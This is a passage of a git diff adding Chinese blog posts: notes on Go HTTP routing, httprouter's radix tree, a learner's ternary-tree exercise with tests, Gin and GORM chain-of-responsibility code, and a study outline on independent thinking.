(pathParts[6] == ""): + +return handleConsumerTopicList(app, w, r, pathParts[2], pathParts[4]) + +case (len(pathParts) == 7) || (pathParts[7] == ""): + +return handleConsumerTopicDetail(app, w, r, pathParts[2], pathParts[4], pathParts[6]) + +} + +case pathParts[5] == "status": + +return handleConsumerStatus(app, w, r, pathParts[2], pathParts[4], false) + +case pathParts[5] == "lag": + +return handleConsumerStatus(app, w, r, pathParts[2], pathParts[4], true) + +} + +default: + +return makeErrorResponse(http.StatusMethodNotAllowed, "request method not supported", w, r) + +} + +case "topic": + +switch { + +case r.Method != "GET": + +return makeErrorResponse(http.StatusMethodNotAllowed, "request method not supported", w, r) + +case (len(pathParts) == 4) || (pathParts[4] == ""): + +return handleBrokerTopicList(app, w, r, pathParts[2]) + +case (len(pathParts) == 5) || (pathParts[5] == ""): + +return handleBrokerTopicDetail(app, w, r, pathParts[2], pathParts[4]) + +} + +case "offsets": + +// Reserving this endpoint to implement later + +return makeErrorResponse(http.StatusNotFound, "unknown API call", w, r) + +} + + + +// If we fell through, return a 404 + +return makeErrorResponse(http.StatusNotFound, "unknown API call", w, r) + +} +``` + +> 因为默认的 `net/http` 包中的 `mux` 不支持带参数的路由,所以 Burrow 这个项目使用了非常蹩脚的字符串 `Split` 和乱七八糟的 `switch case` 来达到自己的目的,但却让本来应该很集中的路由管理逻辑变得复杂,散落在系统的各处,难以维护和管理。如果读者细心地看过这些代码之后,可能会发现其它的几个 `handler` 函数逻辑上较简单,最复杂的也就是这个 `handleKafka()`。而我们的系统总是从这样微不足道的混乱开始积少成多,最终变得难以收拾。 + +> 根据我们的经验,简单地来说,只要的路由带有参数,并且这个项目的 API 数目超过了 10,就尽量不要使用 `net/http` 中默认的路由。在 Go 开源界应用最广泛的 router 是 httpRouter,很多开源的 router 框架都是基于 httpRouter 进行一定程度的改造的成果。关于 httpRouter 路由的原理,会在本章节的 router 一节中进行详细的阐释。 + +> 开源界有这么几种框架,第一种是对 httpRouter 进行简单的封装,然后提供定制的中间件和一些简单的小工具集成比如 gin,主打轻量,易学,高性能。第二种是借鉴其它语言的编程风格的一些 MVC 类框架,例如 beego, + +## 2.请求路由 + +在常见的 Web 框架中,router 是必备的组件。Go 语言圈子里 router 也时常被称为 `http` 的 multiplexer。在上一节中我们通过对 Burrow 代码的简单学习,已经知道如何用 `http` 标准库中内置的 mux 来完成简单的路由功能了。如果开发 Web 系统对路径中带参数没什么兴趣的话,用 `http` 标准库中的 `mux` 就可以。 + +RESTful 是几年前刮起的 API 设计风潮,在 RESTful 中除了 GET 和 POST 之外,还使用了 HTTP 协议定义的几种其它的标准化语义。具体包括: + +```go +const ( + MethodGet = "GET" + MethodHead = "HEAD" + MethodPost = "POST" + MethodPut = "PUT" + MethodPatch = "PATCH" // RFC 5789 + MethodDelete = "DELETE" + MethodConnect = "CONNECT" + MethodOptions = "OPTIONS" + MethodTrace = "TRACE" +) +``` + +来看看 RESTful 中常见的请求路径: + +```go +GET /repos/:owner/:repo/comments/:id/reactions + +POST /projects/:project_id/columns + +PUT /user/starred/:owner/:repo + +DELETE /user/starred/:owner/:repo +``` + +RESTful 风格的 API 重度依赖请求路径。会将很多参数放在请求 URI 中。除此之外还会使用很多并不那么常见的 HTTP 状态码 + +如果我们的系统也想要这样的 URI 设计,使用标准库的 `mux` 显然就力不从心了。 + +### 2.1 httprouter + +较流行的开源 go Web 框架大多使用 httprouter,或是基于 httprouter 的变种对路由进行支持。前面提到的 Github 的参数式路由在 httprouter 中都是可以支持的。 + +因为 httprouter 中使用的是显式匹配,所以在设计路由的时候需要规避一些会导致路由冲突的情况,例如: + +```go +conflict: +GET /user/info/:name +GET /user/:id + +no conflict: +GET /user/info/:name +POST /user/:id +``` + +##简单来讲的话,如果两个路由拥有一致的 http 方法 (指 `GET`、`POST`、`PUT`、`DELETE`) 和请求路径前缀,且在某个位置出现了 A 路由是 wildcard(指 `:id` 这种形式)参数,B 路由则是普通字符串,那么就会发生路由冲突。路由冲突会在初始化阶段直接 panic + +还有一点需要注意,因为 httprouter 考虑到字典树的深度,在初始化时会对参数的数量进行限制,所以在路由中的参数数目不能超过 255,否则会导致 httprouter 无法识别后续的参数。不过这一点上也不用考虑太多,毕竟 URI 是人设计且给人来看的,相信没有长得夸张的 URI 能在一条路径中带有 200 个以上的参数。 + +除支持路径中的 wildcard 参数之外,httprouter 还可以支持 `*` 号来进行通配,不过 `*` 号开头的参数只能放在路由的结尾,例如下面这样: + +```go +Pattern: /src/*filepath + + /src/ filepath = "" + /src/somefile.go filepath = "somefile.go" + /src/subdir/somefile.go filepath = "subdir/somefile.go" + +``` + +这种设计在 RESTful 中可能不太常见,主要是为了能够使用 httprouter 来做简单的 HTTP 静态文件服务器。 + +除了正常情况下的路由支持,httprouter 也支持对一些特殊情况下的回调函数进行定制,例如 404 的时候: + +```go +r := httprouter.New() +r.NotFound = http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + w.Write([]byte("oh no, not found")) +}) + +``` + +内部 panic 的时候: + +```go +r.PanicHandler = func(w http.ResponseWriter, r *http.Request, c interface{}) { + log.Printf("Recovering from panic, Reason: %#v", c.(error)) + w.WriteHeader(http.StatusInternalServerError) + w.Write([]byte(c.(error).Error())) +} + +``` + +目前开源界最为流行(star 数最多)的 Web 框架 [gin](https://github.com/gin-gonic/gin) 使用的就是 httprouter 的变种。 + + + +### 2.2 原理 + +#### 2.2.1 + +httprouter 和众多衍生 router 使用的数据结构被称为压缩字典树(Radix Tree)。读者可能没有接触过压缩字典树,但对字典树(Trie Tree)应该有所耳闻。*图 5-1* 是一个典型的字典树结构: + +![trie tree](https://chai2010.cn/advanced-go-programming-book/images/ch6-02-trie.png) + +  + +*图为字典树* + +字典树常用来进行字符串检索,例如用给定的字符串序列建立字典树。对于**目标字符串**,只要从根节点开始深度优先搜索,即可判断出该字符串是否曾经出现过,时间复杂度为 `O(n)`,**n 可以认为是目标字符串的长度**。为什么要这样做?字符串本身不像数值类型可以进行数值比较,两个字符串对比的时间复杂度取决于字符串长度。如果不用字典树来完成上述功能,要对历史字符串进行排序,再利用二分查找之类的算法去搜索,时间复杂度只高不低。可认为字典树是一种空间换时间的典型做法。 + +普通的字典树有一个比较明显的缺点,就是每个字母都需要建立一个孩子节点,这样会导致字典树的层数比较深,压缩字典树相对好地平衡了字典树的优点和缺点。是典型的压缩字典树结构: + +![radix tree](https://chai2010.cn/advanced-go-programming-book/images/ch6-02-radix.png) + +*图为压缩字典树* + +每个节点上不只存储一个字母了,这也是压缩字典树中 “压缩” 的主要含义。使用压缩字典树可以减少树的层数,同时因为每个节点上数据存储也比通常的字典树要多,所以程序的局部性较好(一个节点的 path 加载到 cache 即可进行多个字符的对比),从而对 CPU 缓存友好。 + +#### 2.2.2压缩字典树创建过程 + +我们来跟踪一下 httprouter 中,一个典型的压缩字典树的创建过程,路由设定如下: + +```go +PUT /user/installations/:installation_id/repositories/:repository_id + +GET /marketplace_listing/plans/ +GET /marketplace_listing/plans/:id/accounts +GET /search +GET /status +GET /support + +补充路由: +GET /marketplace_listing/plans/ohyes + +``` + +最后一条补充路由是我们臆想的,除此之外所有 API 路由均来自于 `api.github.com` + + + +### 2.2.3 root 节点的创建 + +```go +// 略去了其它部分的 Router struct +type Router struct{ + // ... +    trees map[string]*node +    // ... +} +``` + +`trees` 中的 `key` 即为 HTTP 1.1 的 RFC 中定义的各种方法,具体有: + +``` +GET +HEAD +OPTIONS +POST +PUT +PATCH +DELETE +``` + +每一种方法对应的都是一棵独立的压缩字典树,这些树彼此之间不共享数据。具体到我们上面用到的路由,`PUT` 和 `GET` 是两棵树而非一棵。 + +简单来讲,某个方法第一次插入的路由就会导致对应字典树的根节点被创建,我们按顺序,先是一个 `PUT`: + +```go +r := httprouter.New() +r.PUT("/user/installations/:installation_id/repositories/:reposit", Hello) + +``` + +这样 `PUT` 对应的根节点就会被创建出来。把这棵 `PUT` 的树画出来: + +![put radix tree](https://chai2010.cn/advanced-go-programming-book/images/ch6-02-radix-put.png) + +*图为插入路由之后的压缩字典树* + +radix 的节点类型为 `*httprouter.node`,为了说明方便,我们留下了目前关心的几个字段: + +```go +path: 当前节点对应的路径中的字符串 + +wildChild: 子节点是否为参数节点,即 wildcard node,或者说 :id 这种类型的节点 + +nType: 当前节点类型,有四个枚举值: 分别为 static/root/param/catchAll。 + static // 非根节点的普通字符串节点 + root // 根节点 + param // 参数节点,例如 :id + catchAll // 通配符节点,例如 *anyway + +indices:子节点索引,当子节点为非参数类型,即本节点的 wildChild 为 false 时,会将每个子节点的首字母放在该索引数组。说是数组,实际上是个 string。 + + +``` + +当然,`PUT` 路由只有唯一的一条路径。接下来,我们以后续的多条 GET 路径为例,讲解子节点的插入过程 + +#### 2.2.4 子节点的插入 + +当插入 `GET /marketplace_listing/plans` 时,类似前面 PUT 的过程,GET 树的结构如 *图 5-4*: + + + +![get radix step 1](https://chai2010.cn/advanced-go-programming-book/images/ch6-02-radix-get-1.png) + +*图为插入第一个节点的压缩字典树* + +因为第一个路由没有参数,path 都被存储到根节点上了。所以只有一个节点。 + +然后插入 `GET /marketplace_listing/plans/:id/accounts`,新的路径与之前的路径有共同的前缀,且可以直接在之前叶子节点后进行插入,那么结果也很简单,插入后的树结构见 *图 5-5*: + + + +![get radix step 2](https://chai2010.cn/advanced-go-programming-book/images/ch6-02-radix-get-2.png) + + + + + +*图为插入第二个节点的压缩字典树* + +由于 `:id` 这个节点只有一个字符串的普通子节点,所以 indices 还依然不需要处理。 + +上面这种情况比较简单,新的路由可以直接作为原路由的子节点进行插入。实际情况不会这么美好。 + +#### 2.2.5 边分裂 + +接下来我们插入 `GET /search`,这时会导致树的边分裂,见 *图 5-6*。 + +![get radix step 3](https://chai2010.cn/advanced-go-programming-book/images/ch6-02-radix-get-3.png) + + + +*图为插入第三个节点,导致边分裂* + +原有路径和新的路径在初始的 `/` 位置发生分裂,这样需要把原有的 root 节点内容下移,再将新路由 `search` 同样作为子节点挂在 root 节点之下。这时候因为子节点出现多个,root 节点的 indices 提供子节点索引,这时候该字段就需要派上用场了。"ms" 代表子节点的首字母分别为 m(marketplace)和 s(search)。我们一口作气,把 `GET /status` 和 `GET /support` 也插入到树中。这时候会导致在 `search` 节点上再次发生分裂,最终结果见图 + +*插入所有路由后的压缩字典树* + +![](/home/gongna/桌面/ch6-02-radix-get-4.png) + +#### 2.2.6 子节点冲突处理 + +在路由本身只有字符串的情况下,不会发生任何冲突。只有当路由中含有 wildcard(类似 :id)或者 catchAll 的情况下才可能冲突。这一点在前面已经提到了。 + +子节点的冲突处理很简单,分几种情况: + +1. 在插入 wildcard 节点时,父节点的 children 数组非空且 wildChild 被设置为 false。例如:`GET /user/getAll` 和 `GET /user/:id/getAddr`,或者 `GET /user/*aaa` 和 `GET /user/:id`。 + + > 解释:就是 `GET /user/:id/getAddr ` 和`GET /user/getAll`有相同的前缀, 如果在已经有`getAll`的情况下,插入 `:id `让他panic 就行。 +2. 在插入 wildcard 节点时,父节点的 children 数组非空且 wildChild 被设置为 true,但该父节点的 wildcard 子节点要插入的 wildcard 名字不一样。例如:`GET /user/:id/info` 和 `GET /user/:name/info`。 +3. 在插入 catchAll 节点时,父节点的 children 非空。例如:`GET /src/abc` 和 `GET /src/*filename`,或者 `GET /src/:id` 和 `GET /src/*filename`。 +4. 在插入 static 节点时,父节点的 wildChild 字段被设置为 true。 +5. 在插入 static 节点时,父节点的 children 非空,且子节点 nType 为 catchAll。 + +只要发生冲突,都会在初始化的时候 panic。例如,在插入我们臆想的路由 `GET /marketplace_listing/plans/ohyes` 时,出现第 4 种冲突情况:它的父节点 `marketplace_listing/plans/` 的 wildChild 字段为 true。 + +#### 2.2.2 树(随便写了个三叉树) + +> 因为写到这里的时候发现自己对于树并不是很熟,所以就写了练习补了一下...... + +```go +package structural + +import ( + "errors" + "fmt" +) +//第一版写的(有点问题) + +type TreeNode struct { + Content string + SonNodes []*TreeNode + IsNilNode bool + IsEnd bool + // 个人觉得设置空节点标志更加的方便 + // 当一个节点的儿子节点都是空节点时,意味着这个节点是叶子节点 + // 当一个节点本身是空节点的时候,意味他在字典树里面占据了位置,却没有装东西,看起来就像不存在一样 +} + +func NewTreeNode(content string) *TreeNode { + + t := &TreeNode{ + Content: content, + // 限制一次最多可以有几个子节点 + // 这里我们限制为三叉树 + // 只有在明确知道树木是几叉树的情况下,我给一组数据 + //(给定的数据是按照约定的顺序规则以切片的形式给出给出『有点像加密与解密』,然后为在拿到这组切片,按照约定的方式,把他们按照想要的格式存储与关联起来『把一个节点作为另外一个儿子节点的过程就是关联』) + SonNodes: []*TreeNode{ + nil, + nil, + nil, + }, + } + if content == "" { + t.IsNilNode = true + t.IsEnd = true + } else { + t.IsNilNode = false + } + return t +} + +func (t *TreeNode) AddSonNodes(nodes []*TreeNode) error { + if t.IsNilNode { + return nil + } else { + t.SonNodes = append([]*TreeNode{}, nodes...) + return nil + } +} + +// Root 节点不存储任何内容 +type DictionaryTree struct { + Root *Root + NodeNum int +} + +// 表明根节点类型,对根节点类型进行限制 +type Root struct { + SonNodes *TreeNode +} + +func NewRootNode() *Root { + return &Root{} +} + +func (r *Root) AddSonNodes(nodes *TreeNode) { + r.SonNodes = nodes +} + +func NewDictionaryTree(slice []string) *DictionaryTree { + d := &DictionaryTree{} + d.Root = NewRootNode() + if len(slice) < 3 { + return d + } + + nodeptrSile := []*TreeNode{} + for i := 0; i < len(slice); i++ { + nodeptrSile = append(nodeptrSile, NewTreeNode(slice[i])) + } + + d.Root.AddSonNodes(nodeptrSile[0]) + layers := Getlayers(len(nodeptrSile), 3) + fmt.Printf("layers is %d\n", layers) + for i := 0; i < len(nodeptrSile); i++ { + n := []*TreeNode{nil, nil, nil} + + if (i*3 + 1) <= len(nodeptrSile)-1 { + n[0] = nodeptrSile[i*3+1] + } + if (i*3 + 2) <= len(nodeptrSile)-1 { + n[1] = nodeptrSile[i*3+2] + } + if (i*3 + 3) <= len(nodeptrSile)-1 { + n[2] = nodeptrSile[i*3+3] + } + nodeptrSile[i].AddSonNodes(n) + if (nodeptrSile[i].SonNodes[0] == nil) && (nodeptrSile[i].SonNodes[1] == nil) && (nodeptrSile[i].SonNodes[2] == nil) { + nodeptrSile[i].IsEnd = true + } + } + d.NodeNum = len(slice) + return d +} + +func Getlayers(nodesNum int, ratio int) int { + if ratio <= 0 { + return 0 + } + i := 1 + num := 1 + for num < nodesNum { + num = num + i*ratio + i = i + 1 + } + return i - 1 +} + +func (d *DictionaryTree) TraverseDictionaryTree() []string { + nodes := []*TreeNode{} + nodes = append(nodes, d.Root.SonNodes) + for i := 0; i < len(nodes); i++ { + if nodes[i].IsEnd { + continue + } + if nodes[i].IsNilNode { + continue + } + + nodes = append(nodes, nodes[i].SonNodes...) + + } + result := []string{} + for _, v := range nodes { + result = append(result, v.Content) + } + return result + +} + +func InterfaceToInt(i interface{}) (int, error) { + v, ok := i.(int) + if ok { + return v, nil + } else { + return 0, errors.New("interface type inputed can not be covered to int type") + } +} + +func InterfaceToString(i interface{}) (string, error) { + v, ok := i.(string) + if ok { + return v, nil + } else { + return "", errors.New("interface type inputed can not be covered to string type") + } +} + +``` + +```go + package structural + +import ( + "fmt" + "testing" +) +// 第一版的测试(有点问题) +type Datas struct { + input []string + want []string +} + +func TestTree(t *testing.T) { + input := []string{ + "b", + "a", "i", "", + "g", "n", "t", + "g", "l", "t", + } + // 3 9 27 + // 3n+3 3n+4 3n+5 + datas := Datas{ + input: input, + } + d := NewDictionaryTree(datas.input) + want := d.TraverseDictionaryTree() + fmt.Println("input:", datas.input) + fmt.Println("want:", want) + for k, v := range datas.input { + t.Run("test"+v, func(t *testing.T) { + if v != want[k] { + t.Errorf("get:%s ,want:%s", want[k], v) + } + }) + } +} + +``` + +```go +package structural + +import ( + "errors" + "fmt" + "math" +) +// 第二版(正确) +type TreeNode struct { + Content string + SonNodes []*TreeNode + IsNilNode bool + IsEnd bool + // 个人觉得设置空节点标志更加的方便 + // 当一个节点的儿子节点都是空节点时,意味着这个节点是叶子节点 + // 当一个节点本身是空节点的时候,意味他在字典树里面占据了位置,却没有装东西,看起来就像不存在一样 +} + +func NewTreeNode(content string) *TreeNode { + t := &TreeNode{ + Content: content, + // 限制一次最多可以有几个子节点 + // 这里我们限制为三叉树 + // 只有在明确知道树木是几叉树的情况下,我给一组数据 + //(给定的数据是按照约定的顺序规则以切片的形式给出给出『有点像加密与解密』,然后为在拿到这组切片,按照约定的方式,把他们按照想要的格式存储与关联起来『把一个节点作为另外一个儿子节点的过程就是关联』) + SonNodes: []*TreeNode{}, + } + if content == "" { + t.IsNilNode = true + // 只有最后一层才是 + } else { + t.IsNilNode = false + } + return t +} + +func (t *TreeNode) AddSonNodes(nodes []*TreeNode) error { + // 是空节点但是不是叶子节点 + if t.IsNilNode && !t.IsEnd { + t.SonNodes = append([]*TreeNode{}, []*TreeNode{ + // 不是nil,而是 + NewTreeNode(""), + NewTreeNode(""), + NewTreeNode(""), + }...) + + } + // 每一个新建的节点最开始都是把它当作叶子节点 + if t.IsNilNode { + t.SonNodes = append([]*TreeNode{}, nodes...) + return nil + } else { + t.SonNodes = append([]*TreeNode{}, nodes...) + return nil + } +} + +// Root 节点不存储任何内容 +type DictionaryTree struct { + Root *Root + NodeNum int +} + +// 表明根节点类型,对根节点类型进行限制 +type Root struct { + SonNodes []*TreeNode +} + +func NewRootNode() *Root { + return &Root{} +} + +func (r *Root) AddSonNodes(nodes []*TreeNode) { + r.SonNodes = append([]*TreeNode{}, nodes...) +} + +func NewDictionaryTree(slice []string) *DictionaryTree { + d := &DictionaryTree{} + d.Root = NewRootNode() + if len(slice) < 3 { + return d + } + + nodeptrSile := []*TreeNode{} + for i := 0; i < len(slice); i++ { + nodeptrSile = append(nodeptrSile, NewTreeNode(slice[i])) + } + d.Root.AddSonNodes([]*TreeNode{ + nodeptrSile[0], + nodeptrSile[1], + nodeptrSile[2], + }) + + layers := Getlayers(len(nodeptrSile), 3) + fmt.Printf("layers is %d\n", layers) + //算出最后一层的下标 + + tag := (3 * (1 - math.Pow(3, float64(layers-1)))) / (-2) + fmt.Print("tag:", tag) + + for i := 0; i < int(tag); i++ { + var left *TreeNode + var mid *TreeNode + var right *TreeNode + n := []*TreeNode{} + if (i*3 + 3) <= len(nodeptrSile)-1 { + left = nodeptrSile[i*3+3] + n = append(n, left) + + //fmt.Print("child node 0 is ", n[0]) + } + if (i*3 + 4) <= len(nodeptrSile)-1 { + mid = nodeptrSile[i*3+4] + n = append(n, mid) + //fmt.Print("child node 1 is ", n[1]) + } + if (i*3 + 5) <= len(nodeptrSile)-1 { + right = nodeptrSile[i*3+5] + n = append(n, right) + //fmt.Print("child node 1 is ", n[1]) + } + nodeptrSile[i].AddSonNodes(n) + } + + d.NodeNum = len(slice) + return d +} + +func Getlayers(nodesNum int, ratio int) int { + if ratio <= 0 { + return 0 + } + i := 1 + num := 3 + for num < nodesNum { + num = num + i*ratio + i = i + 1 + } + return i - 1 +} + +func (d *DictionaryTree) TraverseDictionaryTree() []string { + nodes := []*TreeNode{} + nodes = append(nodes, d.Root.SonNodes...) + for i := 0; i < len(nodes); i++ { + if nodes[i].IsEnd { + continue + } + // 就算是nil 节点,下面也还是有节点的,为了保证满,才能用下标阿 + nodes = append(nodes, nodes[i].SonNodes...) + + } + result := []string{} + for _, v := range nodes { + result = append(result, v.Content) + } + return result + +} + +func InterfaceToInt(i interface{}) (int, error) { + v, ok := i.(int) + if ok { + return v, nil + } else { + return 0, errors.New("interface type inputed can not be covered to int type") + } +} + +func InterfaceToString(i interface{}) (string, error) { + v, ok := i.(string) + if ok { + return v, nil + } else { + return "", errors.New("interface type inputed can not be covered to string type") + } +} + +``` + + + +```go +package structural + +import ( + "fmt" + "testing" +) +// 第二版的测试(正确) + +type Datas struct { + input []string + want []string +} + +func TestTree(t *testing.T) { + input := []string{ + "b", "", "", + "a", "i", "", + //保证除了最后一层,其他层都是满的 + "", "", "", "", "", "", "", + "g", "n", "t", + "g", "l", "t", + } + // 3 9 27 + // 3n+3 3n+4 3n+5 + datas := Datas{ + input: input, + } + d := NewDictionaryTree(datas.input) + want := d.TraverseDictionaryTree() + fmt.Println("input:", datas.input) + fmt.Println("want:", want) + for k, v := range datas.input { + t.Run("test"+v, func(t *testing.T) { + if v != want[k] { + t.Errorf("get:%s ,want:%s", want[k], v) + } + }) + } +} +``` + +- 是三叉树,每个节点有三个孩子节点。 +- 根节点root 不存储任何数据。 +- 除了最后一层外,其他层都是满的,哪怕某个节点,它的三个孩子节点里面只有一个存储着真正的数据,那么其他孩子节点也要占据位置。 + + + + + + + + + +## 3.中间件 + + + +## 4.请求校验 + +## 5.数据库 + +## 6.服务流量限制 + +## 7.Web项目结构化 + +## 8.接口和表驱动开发 + +## 9.灰度发布和A/B测试 diff --git a/_posts/2022-10-10-test-markdown.md b/_posts/2022-10-10-test-markdown.md new file mode 100644 index 000000000000..bb0eeb783c9c --- /dev/null +++ b/_posts/2022-10-10-test-markdown.md @@ -0,0 +1,88 @@ +--- +layout: post +title: 哈佛的6堂独立思考课 +subtitle: 独立思考 +tags: [哈佛课程] +--- + +# 一些思考 + +## 1.Lesson--建立自我意见 + +> 为什么我们不擅长应对“突发状况? + +1. 思考需要练习 +2. 向自己提问,思考根据(为什么要选择它?) +3. 比较选择,(为什么要选择 A,而不是 B?) +4. 为什么 ABC 可以完成工作? +5. 建立自我意见 +6. 确认自己对意见事情的理解程度(我到底懂了没?) +7. 明白具体的疑惑点(疑惑的到底是哪个点?) +8. 保持一个又依据的意见(观点) + +## 2.Lesson--深入理解 + +> 思考不要停留在已有的东西(包括理所当然的认为是对的事情) + +1. 检验是否真正理解某个事情的方法 +2. 5 岁小孩都明白所说的 +3. 深入的理解“专业用语”表达的内核 +4. 翻译成英语讲出来 +5. 使用理解程度检查表 +6. 用 5w1h 反驳 +7. 用信号灯色记号笔来帮助思考 +8. 临时被人征求意见时提出好问题 +9. 提出好问题的 12 项原则: + +- “何时何地谁做了什么、怎么做” +- 为了什么目的,为什么这么有把握 +- 对信息提问 +- 探究必要性 +- 引用相似但不同的例子 +- 检验模糊的用词 +- 确认事物的两面性 +- 询问契机、起因 +- 探究为什么是“现在” +- 询问长期性发展 +- 以采访者的姿态追问背景 + +## 3.Lesson--从多种角度看待问题,深入思考 + +> 用“和自己不同的观点”思考 + +1. 让思考更有深度的 4 个技巧 + +- 站在不可忽略者的角度来思考 +- 以崭新的观点来获得不同角度的看法 +- 一人辩证法(设定另一个我,反驳自己的每个想法) +- 通过反驳清单,重新审视意见 +- 意外状况如何判断——思考突发状况 + +## 4.Lesson--预测将来会发生的事,决定现在应该采取的行动 + +1. 预测未来的 4 个步骤 +2. 该方案如果成为现实,会发生什么,同时设想发展顺利与发展不顺利时的情况 +3. 成功时的情节和失败时的情节,思考有没有面对这两种情况时应采取的措施 +4. 思考该措施有没有实现的可能 +5. 思考该行动有没有现在执行的必要 +6. 是否有隐藏的前提 +7. 以肯定句式写下难以决断的行动 +8. 明确自己的目的,想想为什么要采取那个行动 +9. 写出有哪些方法可达成目的 +10. 预测可能获得的结果,写出发展顺利与不顺利的情况 +11. 删去“不合乎逻辑”或“不具现实性”的项目 + +## 5.Lesson--“交换意见”的规则 + +1. 世界上没有绝对正确的意见 +2. 重要的地方用不同的表达方式再三重复 +3. 问根据(这么说根据是什么?) +4. 要反对就要提出“替代方案” + +## 6.Lesson--发现“问题”是“思考”的开始 + +> 模糊不清的情绪中,藏着真正的想法 + +1. 找到真正让自己重视的东西 +2. 不压抑那种感觉,承认它的存在 +3. 承认某事对自己来说很重要 diff --git a/_posts/2022-10-11-test-markdown.md b/_posts/2022-10-11-test-markdown.md new file mode 100644 index 000000000000..c9f081c33882 --- /dev/null +++ b/_posts/2022-10-11-test-markdown.md @@ -0,0 +1,292 @@ +--- +layout: post +title: Golang http.ListenAndServe()中的nil背后 +subtitle: http.ListenAndServe(":8000", nil) +tags: [golang] +--- + +# DefaultServeMux + +## 1.`func ListenAndServe(addr string, handler Handler) error` + +> 该方法会执行标准的 socket 连接过程,bind -> listen -> accept,当 accept 时启动新的协程处理客户端 socket,调用 Handler.ServeHTTP() 方法,处理结束后返回响应。传入的 Handler 为 nil,会默认使用 DefaultServeMux 作为 Handler + +> http.HandleFunc() 就是给 DefaultServeMux 添加一条路由以及对应的处理函数 + +> DefaultServeMux.ServeHTTP() 被调用时,则会查找路由并执行对应的处理函数 + +> DefaultServeMux 的作用简单理解就是:路由注册『类似 middware.Use()』、路由匹配、请求处理。 + +## 2.Gin 中的路由注册 + +```go + r := gin.Default() + r.GET("/", func(c *gin.Context) { + c.String(200, "Hello World") + }) + r.Run() // listen and serve on 0.0.0.0:8080 +``` + +```go +func (engine *Engine) Run(addr ...string) (err error) { + // ... + address := resolveAddress(addr) + debugPrint("Listening and serving HTTP on %s\n", address) + err = http.ListenAndServe(address, engine) + return +} + +``` + +> 可以发现 http.ListenAndServe() 方法使用了 engine 作为 Handler,『这里要求传入的是一个实现了 ServeHTTP 的实例』即 engine 取代 DefaultServeMux 了来处理路由注册、路由匹配、请求处理等任务。现在直接看 Engine.ServeHTTP() + +```go +func (engine *Engine) ServeHTTP(w http.ResponseWriter, req *http.Request) { + // ... + + engine.handleHTTPRequest(c) + + // ... +} +``` + +> engine.handleHTTPRequest(c) 通过路由匹配后得到了对应的 HandlerFunc 列表(表示注册的中间件或者路由处理方法,从这里可以看出所谓的中间件和路由处理方法其实是相同类型的。 然后调用 c.Next()开始处理责任链 + +```go +func (engine *Engine) handleHTTPRequest(c *Context) { + // ... + + // Find root of the tree for the given HTTP method + t := engine.trees + for i, tl := 0, len(t); i < tl; i++ { + // ... + // Find route in tree + value := root.getValue(rPath, c.params, unescape) + if value.params != nil { + c.Params = *value.params + } + if value.handlers != nil { + // 这里就是责任链模式的变体 + // 通过路由匹配后得到了对应的 HandlerFunc 列表 + c.handlers = value.handlers + c.fullPath = value.fullPath + // 调用链上第一个实例的方法就会依次向下调用 + c.Next() + c.writermem.WriteHeaderNow() + return + } + // ... + break + } + + // ... +} + +func (c *Context) Next() { + c.index++ + for c.index < int8(len(c.handlers)) { + c.handlers[c.index](c) + c.index++ + } +} +``` + +## 3.简化版(理解简单) + +```go +type HandlerFunc func(*Request) + +type Request struct { + url string + handlers []HandlerFunc + index int // 新增 +} + +func (r *Request) Use(handlerFunc HandlerFunc) { + r.handlers = append(r.handlers, handlerFunc) +} + +// 新增 +func (r *Request) Next() { + r.index++ + for r.index < len(r.handlers) { + r.handlers[r.index](r) + r.index++ + } +} + +// 修改 +func (r *Request) Run() { + //移动下标到初始的位置 + r.index = -1 + r.Next() +} + +// 测试 +// 输出 1 2 3 11 +func main() { + r := &Request{} + r.Use(func(r *Request) { + fmt.Print(1, " ") + r.Next() + fmt.Print(11, " ") + }) + r.Use(func(r *Request) { + fmt.Print(2, " ") + }) + r.Use(func(r *Request) { + fmt.Print(3, " ") + }) + r.Run() +``` + +> 首先在 Request 结构体中新增了 index 属性,用于记录当前执行到了第几个 HandlerFunc 然后新增 Next() 方法支持"手动调用责任链 "中之后的 HandlerFunc.另外需要注意的是,Gin 框架中 handlers 和 index 信息放在了 Context 里面 + +```go +type Context struct { + // ... + handlers HandlersChain + index int8 + + engine *Engine + // ... +} +``` + +> 其中,HandlersChain 就是一个 HandlerFunc 切片 + +```go +type HandlerFunc func(*Context) +type HandlersChain []HandlerFunc +``` + +## gorm 中的责任链模式 + +> GORM 中增删改查都会涉及到责任链模式的使用,比如 Create()、Delete()、Update()、First() 等等,这里以 First() 为例 + +```go +func (db *DB) First(dest interface{}, conds ...interface{}) (tx *DB) { + // ... + return tx.callbacks.Query().Execute(tx) +} +``` + +> tx.callbacks.Query() 返回 processor 对象,然后执行其 Execute() 方法 + +```go +func (cs *callbacks) Query() *processor { + return cs.processors["query"] +} +``` + +```go +func (p *processor) Execute(db *DB) *DB { + // ... + + for _, f := range p.fns { + f(db) + } + + // ... +} +``` + +> 就是在这个位置调用了与操作类型绑定的处理函数。嗯?操作类型是啥意思?对应的处理函数又有哪些?想解决这几个问题,需要搞清楚 callbacks 的定义、初始化、注册。callbacks 定义如下 + +```go +type callbacks struct { + processors map[string]*processor +} + +type processor struct { + db *DB + // ... + fns []func(*DB) + callbacks []*callback +} + +type callback struct { + name string + // ... + handler func(*DB) + processor *processor +} +``` + +> 注册完毕后,值类似这样 + +```go +/* +// ---- callbacks 结构体属性 ---- +// processors +{ + "create": processorCreate, + "query": ..., + "update": ..., + "delete": ..., + "row": ..., + "raw": ..., +} */ +// ---- processor 结构体属性(processorCreate) ---- +// callbacks 中有 3 个 callback +/* +{name: gorm:query, handler: Query} +{name: gorm:preload, handler: Preload} +{name: gorm:after_query, handler: AfterQuery} +*/ +// fns 对应 3 个 callback 中的 handler,不过是排过序后的 + +``` + +> callbacks 在 callbacks.go/initializeCallbacks() 中进行初始化 + +```go +func initializeCallbacks(db *DB) *callbacks { + return &callbacks{ + processors: map[string]*processor{ + "create": {db: db}, + "query": {db: db}, + "update": {db: db}, + "delete": {db: db}, + "row": {db: db}, + "raw": {db: db}, + }, + } +} +``` + +> 在 callbacks/callbacks.go/RegisterDefaultCallbacks 中进行注册(为了简洁,所贴代码只保留了 query 类型的回调注册) + +```go +func RegisterDefaultCallbacks(db *gorm.DB, config *Config) { + // ... + //db.Callback() 返回*callbacks指针, + queryCallback := db.Callback().Query() + queryCallback.Register("gorm:query", Query) + queryCallback.Register("gorm:preload", Preload) + queryCallback.Register("gorm:after_query", AfterQuery) + if len(config.QueryClauses) == 0 { + config.QueryClauses = queryClauses + } + queryCallback.Clauses = config.QueryClauses + + // ... +} +``` + +> 所谓操作类型是指增删改查等操作,比如 